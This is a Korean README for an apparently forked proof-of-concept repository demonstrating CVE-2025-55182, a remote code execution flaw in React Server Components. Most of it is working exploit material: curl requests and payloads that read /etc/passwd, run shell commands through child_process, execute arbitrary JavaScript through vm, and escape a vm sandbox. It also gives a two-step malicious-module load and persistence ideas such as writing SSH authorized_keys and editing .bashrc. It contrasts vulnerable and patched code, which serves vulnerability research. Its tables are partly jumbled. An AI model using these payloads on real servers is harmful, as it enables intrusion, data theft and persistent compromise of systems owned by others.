
이 POC는 실제 `[email protected]` 취약 코드를 사용하여 CVE-2025-55182를 시연합니다.
이 POC는 실제 [email protected] 취약 코드를 사용하여 CVE-2025-55182를 시연합니다.
CVE-2025-55182 긴급 수정 가이드: Next.js/React RSC 취약점 완전 분석 및 완화 (CVSS 10.0)
이 저장소는 https://github.com/ejpir/CVE-2025-55182-poc 에서 포크되었으며 아직 검증되지 않았습니다! 주의하고 신중히 확인하세요!
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
참고:
module익스플로잇은 가상의 것입니다.module내장 모듈은 프로덕션 앱에서 거의 번들되지 않습니다. 이는fs+module만 사용 가능할 때의 이론적 공격 경로를 보여줍니다 (vm/child_process 없음). 실제로fs가 있는 앱은 대개 sharp, puppeteer, execa 같은 의존성을 통해child_process도 함께 가지고 있습니다.
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| 파일 | 포트 | 설명 |
|---|
실제 웹팩 번들을 시뮬레이션하며, 앱이 의존성을 통해 위험한 모듈을 흔히 번들로 묶는 상황을 재현합니다:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
__webpack_require__ 함수는 BUNDLED_MODULES에서만 모듈을 로드하여 실제 웹팩 동작을 시뮬레이션합니다.
requireModule()에서 내보내기가 hasOwnProperty 검사 없이 대괄호 표기법으로 접근됩니다:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 전송id: 'vm#runInThisContext'가 vm 모듈을 로드하고 runInThisContext 내보내기에 접근bound 배열이 함수의 인자가 됨runInThisContext(CODE)가 임의 코드를 실행Execute shell command (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Read sensitive files:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Write files to disk:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Execute arbitrary JavaScript:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Sandbox escape (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
직접 RCE를 위해서: 네, 다음 중 하나가 필요합니다:
vm module (runInThisContext, runInNewContext)child_process module (execSync, execFileSync, spawnSync)간접 RCE (fs만): 아니요! fs만으로도 가능:
~/.ssh/authorized_keys에 쓰기 → SSH 접근~/.bashrc에 추가 → 다음 로그인 시 코드 실행node_modules/* 덮어쓰기 → 앱 재시작 시 RCEpackage.json postinstall 수정 → 다음 npm install 시 RCE참고: 이는 가상의 것입니다.
module내장 모듈은 프로덕션에서 거의 번들되지 않습니다.
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
| 버전 | 공격 | 결과 |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE 달성 |
| React 19.2.1 | vm#runInThisContext | ✗ 차단됨 |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
위험한 모듈을 포함하는 인기 npm 패키지에 대한 연구는 VULNERABLE-PACKAGES.md를 참조하세요:
| 모듈 | 주간 다운로드 수 | 인기 패키지 |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
src/server-realistic.js | 3002 | 메인 서버 - 일반 모듈(fs, vm, child_process)이 포함된 웹팩 번들 시뮬레이션 |
src/server.js | 3002 | 레거시 서버 (직접 require 사용) |
src/server-module-test.js | 3003 | module + fs 서버 (연구용) |
| 파일 | 설명 |
|---|
exploit-rce-v4.js | vm#runInThisContext를 통한 기본 RCE |
exploit-all-gadgets.js | 모든 RCE 가젯 테스트 (vm, child_process, fs) |
exploit-module-load.js | fs + module#_load를 통한 2단계 RCE |
exploit-indirect-rce.js | 증명 파일 생성을 통한 2단계 RCE |
exploit-persistence.js | 지속성 공격 (SSH 키, .bashrc) |
exploit-research.js | 프로토타입 체인 연구 |
| 가젯 | 상태 | 설명 |
|---|
vm#runInThisContext | ✓ | 현재 컨텍스트에서 임의 JS 실행 |
vm#runInNewContext | ✓ | 샌드박스에서 실행 (쉽게 탈출 가능) |
child_process#execSync | ✓ | 직접 셸 명령 실행 |
child_process#execFileSync | ✓ | 바이너리 파일 실행 |
child_process#spawnSync | ✓ | 프로세스 생성 (객체 반환) |
module#_load | ✓ | JS 파일 로드 및 실행 (fs와 2단계) |
fs#readFileSync | ✓ | 임의 파일 읽기 |
fs#writeFileSync | ✓ | 임의 파일 쓰기 |
child_process |
| 103M+ |
| execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |